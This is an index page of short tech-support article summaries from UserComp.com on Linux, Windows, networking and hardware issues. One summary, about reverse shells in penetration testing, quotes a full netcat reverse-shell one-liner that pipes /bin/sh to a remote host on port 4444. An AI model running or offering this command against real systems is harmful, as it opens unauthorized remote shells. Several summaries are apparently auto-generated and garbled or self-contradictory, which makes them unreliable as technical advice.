Articles about p | UserComp.com

Bypassing GEOIP Protection with VPN: A Web Application Firewall Issue

A user reports that their web application firewall, which has GEOIP protection enabled, allows traffic within a Canadian site, but Google Analytics shows connections originating from Asia. This issue might be due to VPN usage. In this article, we'll discuss possible solutions to bypass GEOIP protection and ensure accurate geolocation data.

Graceful Shutdown of WSL2 with MDADM and p9subsystem on Ubuntu

Learn how to perform a graceful shutdown of WSL2 (Ubuntu, kernel: Linux home 6.1.21.2-microsoft-standard-WSL2) while accessing Windows applications via the standard p9 interface using MDADM and p9subsystem.

Setting up Kerberos SSO for web server login with Microsoft AD

Learn how to set up Kerberos Single Sign-On (SSO) for web server login using Microsoft Active Directory (AD) and Debian Apache. This tutorial will guide you through the process of configuring Kerberos authentication and Microsoft AD as the Key Distribution Center (KDC), enabling you to log in to your web server without typing credentials.

Do Docker Usernamespaces Really Work?

Docker users often encounter questions about usernamespaces and their effectiveness. In this article, we'll discuss the concept of usernamespaces, how they're used in Docker, and the benefits they provide.

Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

Touchpad Right-Click Issue on Linux Mint Debian Edition Chromebook

Experiencing issues with right-clicking on a Linux Mint Debian Edition Chromebook touchpad? Find solutions in this tech support article.

Configuring OpenConnect VPN with NetworkManager on Linux for Split-Tunnel and Subnet Restriction

Learn how to set up a Split-Tunnel VPN using OpenConnect plugin with NetworkManager on Linux (Kubuntu), restricting VPN usage to a particular subnet by specifying an IPv4 route.

Unable to Access Internet after Changing Router: Troubleshooting SSH Connection in Proxmox

This article explains the steps to troubleshoot SSH connection issues in Proxmox when the router is changed.

Automatically Running Python Scripts: A Beginner's Guide

As a beginner Python programmer, you might be wondering if it's possible to have a script automatically loaded and executed in Python, similar to PowerShell scripts. In this article, we'll explore different methods to achieve this goal on various platforms such as Linux, Windows, and MacOS.

Installing FFmpeg: Troubleshooting 'Install File Doesn't Work'

Experiencing issues while installing FFmpeg? Learn how to troubleshoot common problems encountered during the installation process.

Troubleshooting Duplex Scanning on Epson Stylus Office BX635FWD

Experiencing issues with duplex scanning on your Epson Stylus Office BX635FWD? Learn how to configure the software for optimal results.

Automatically Loading Python Scripts: A Beginner's Guide

As a beginner Python user, you might be wondering how to automatically load and execute scripts in Python, similar to how PowerShell scripts are run. In this article, we'll cover the basics of Python script autoloading.

Making a Move: Fixing Weird File Ownerships After Transferring Hard Drives

Learn how to resolve file ownership issues when transferring a hard drive to another computer.

Resolving MS Word Performance Issues When Editing Large Files (1000+ pages)

Learn how to resolve MS Word performance issues when editing large documents (1000+ pages) that take minutes to load and freeze. This article provides practical solutions for Windows, MacOS, and Linux users.

J5 USB C 2.5GBE Ethernet Adapter Randomly Losing Internet Access: Troubleshooting

Experiencing frequent internet connection drops with your J5 USB C 2.5GBE Ethernet adapter? This article provides troubleshooting steps to help you identify and resolve the issue.

File/Folder Doesn't Inherit New Parents Folder Permissions When Moved in Windows Server 2022

Learn how to resolve the issue of file permissions not being inherited when moving or cutting folders in Windows Server 2022.

DD Rescue Second Run: Windows 10 New SSD GParted Media Drive

This article provides a step-by-step guide on how to perform a second run of DD Rescue on a Windows 10 system with a new SSD and a GParted media drive. The first run was successful, and the log file is located at /path/to/map.log.

How to Format an External Drive Encrypted exFAT for Use with Windows 11

Learn how to format an external drive encrypted with APFS filesystem on Mac to exFAT for use with Windows 11.

Restoring EFS Certificate: A Smooth Process?

A user reports a seemingly straightforward process of restoring an EFS certificate with a .pfx file and password. However, they encountered no errors during the process.

Configuring Wordpress to Use MariaDB SSL: A Step-by-Step Guide

Learn how to configure your Wordpress site to use SSL-enabled MariaDB connections. Follow these steps to set up a secure database connection for your site.

SSH Key WorksWith FileZilla: Not PuTTY - Raspberry Pi Upgrade to Bullseye

Learn how to use SSH keys in FileZilla instead of PuTTY during the Raspberry Pi upgrade to Bullseye.

Linux Ignoring NTFS Permissions: A Permission Problem with Broken HDD

Users may encounter permission problems when accessing files on a broken HDD formatted with NTFS, which is ignored by Linux. This article discusses potential solutions to the issue.

Enabling Hyper-V on a Ubuntu Guest for GPUs Passthrough

Learn how to enable Hyper-V on a Ubuntu guest operating system and configure GPUs passthrough for optimal performance.

Windows Explorer Not Showing Tooltip for Files/Folders: A Solution

If you're experiencing issues with Windows Explorer not showing tooltips for files or folders on Windows 11 or Windows 10, follow these steps to resolve the problem.

Wake-magic Packet: Keep Wi-Fi Card Active During Sleep Mode

Learn how to use Wake-magic Packet to keep your Wi-Fi card active during sleep mode, preventing disconnections when PC is in sleep.

Removing Footer URL in Firebase-generated PDF

A user is having trouble removing the footer URL in a Firebase-generated PDF. This article provides a solution to this issue.

Understanding AMD GPU Output P-States on Linux

Learn about AMD GPU Output P-States and how they affect overclocking on Linux. This article explains the concept and provides examples.

Troubleshooting FFmpeg: Out-of-Sync Glitches with Concatenate Filter and Cut Segments

This article discusses solutions to out-of-sync glitches encountered when using FFmpeg's concatenate filter and cut segments. Learn how to fix these issues for optimal video playback on Linux, Windows, and MacOS.

Setting up a 144hz External Monitor with Omen Laptop (15-dc0005ne)

Learn how to connect and configure a 144hz external monitor with your Omen Laptop (15-dc0005ne). Discover the steps to optimize your gaming experience.

Accessing Internal Power Accessories on Dell Precision 5860 Tower

Users seeking to access internal power accessories on their Dell Precision 5860 Tower may follow these steps. Accessing internal power accessories can enhance system functionality and customization.

Accessing Internal Power Accessories of Dell Precision 5860 Tower

Learn how to access internal power accessories in Dell Precision 5860 Tower. A step-by-step guide to setting up your system effectively.

OpenSSH 9.6 Supports ED25519 PEM Keys for SSH

OpenSSH 9.6 introduces support for reading ED25519 private keys in PEM format for ssh(1), sshd(8), ssh-add(1), and ssh-keygen(1).

Checking SecureBoot Status on a PXE Server for Multiple Installations

This article explains how to check the SecureBoot status on a PXE server that supports various installations, including Ubuntu and Windows 11.

FFMPEG: RTSP Clients Sending 'KeepAlive' Packets to IP Cameras

This article explains how to use FFMPEG libraries (Windows Build) to connect and stream RTSP from IP cameras such as Dahua and Hikvision. The pseudocode provided demonstrates the process of opening an input using avformat_open_input(...).

Gimp on Windows 10: Greek Characters in Submenus

This article explains how to display Greek characters correctly in Gimp submenus on a Windows 10 system.

Troubleshooting Ping Shows Received Packets with LAN Cabled Disconnected

Encountered an issue where your system is receiving ping packets despite having a disconnected LAN cable. Learn how to troubleshoot this issue by setting IP address manually.

Safe Delete: Instantly Move and Delete Files in Windows - Tech Support

Learn how to safely delete files in Windows instantly by moving them to the Recycle Bin and permanently deleting them. Discover the difference between copying and moving files and how it affects the file system cache.

Error Compressing Zip File in Windows 11

Users report encountering an error when trying to compress a folder into a Zip file using the right-click context menu in Windows 11. This issue can occur even when no other programs are using the folder. In this article, we'll discuss possible solutions to resolve the 'Filenotfoundnoreadpermission' error while compressing Zip files in Windows 11.

Restore Email Account Settings on a Replacement iPhone

A user shares their experience of getting a new iPhone due to battery issues and the need to restore email account settings.

Determining Power Options for Xtar ST24.1A18650 Battery Charger: PD2.0 (15V-3A) and QC3.0 (5V-3A/9V-2A)

If you've recently purchased an Xtar ST24.1A18650 Battery Charger and need help determining which power options to use for your device, this article provides the necessary information. The charger supports PD2.0 (15V-3A) and QC3.0 (5V-3A/9V-2A) input specifications. Learn more about these power options and how to use them with your device.

Building Nginx Pagespeed Module with Modern PSOL binaries on Raspberry Pi 4 Ubuntu Server (aarch64)

This article provides instructions on building the Nginx Pagespeed Module using modern PSOL binaries on Raspberry Pi 4 Ubuntu Server (aarch64).

MX Master 3 Extra Buttons Not Recognized on Windows 11

Users of a new Lenovo laptop with a Logitech MX Master 3 mouse report that some extra buttons are not recognized by Windows 11. This article provides solutions to help you resolve this issue.

High CPU Usage Detected: Solving Whitebox Pop-ups During Full-screen YouTube Playback

Experiencing frequent pop-ups with the 'High CPU Usage Detected' message while watching YouTube videos in full-screen mode? This article provides solutions for users on Edge, Chrome, and Firefox.

Can't Get MacOS Sonoma 14.4.1 to Recognize Canon ImageClass MF4880d Wall-in-One Printer/Scanner/Fax

Users report issues with MacOS Sonoma 14.4.1 failing to recognize the Canon ImageClass MF4880d printer, scanner, and fax. This article provides suggested solutions.

Making Visually Lossless GIFs to Animated WEBPs: A Comprehensive Guide

Learn how to convert lossless GIFs to animated WEBPs with ease. This comprehensive guide covers the process on Linux, Windows, and MacOS.

RDP Won't Connect with Public IP Despite Local Network Port Being Open

The user reports that they have already forwarded the RDP port and confirmed that it's open, but they cannot connect to the RDP server using the public IP address. The issue seems to occur only when connecting from outside the local network.

Firefox 125.0.2 Not Printing Headers/Footers with SavePDF Function

Users report that Firefox 125.0.2 does not print headers or footers when saving a webpage as a PDF using the SavePDF function. This issue can be troublesome for those who need to maintain the layout and formatting of their documents. One suggested workaround is to configure the Page Setup options, but this doesn't seem to solve the problem for some users.

Persistent Ethernet USB Interface: Intermittent Carrier Signal on Arch Linux ARM for ODroid XU4

Users of Arch Linux ARM on ODroid XU4 report intermittent carrier signals when using built-in NICs with well-known USB Ethernet dongles. This article offers potential solutions to the issue.

Accidentally Deleted /usr/local/share on Apple M1: Solutions

Learn how to recover accidentally deleted /usr/local/share on Apple M1. This article explains possible solutions for making commands work again after the deletion.

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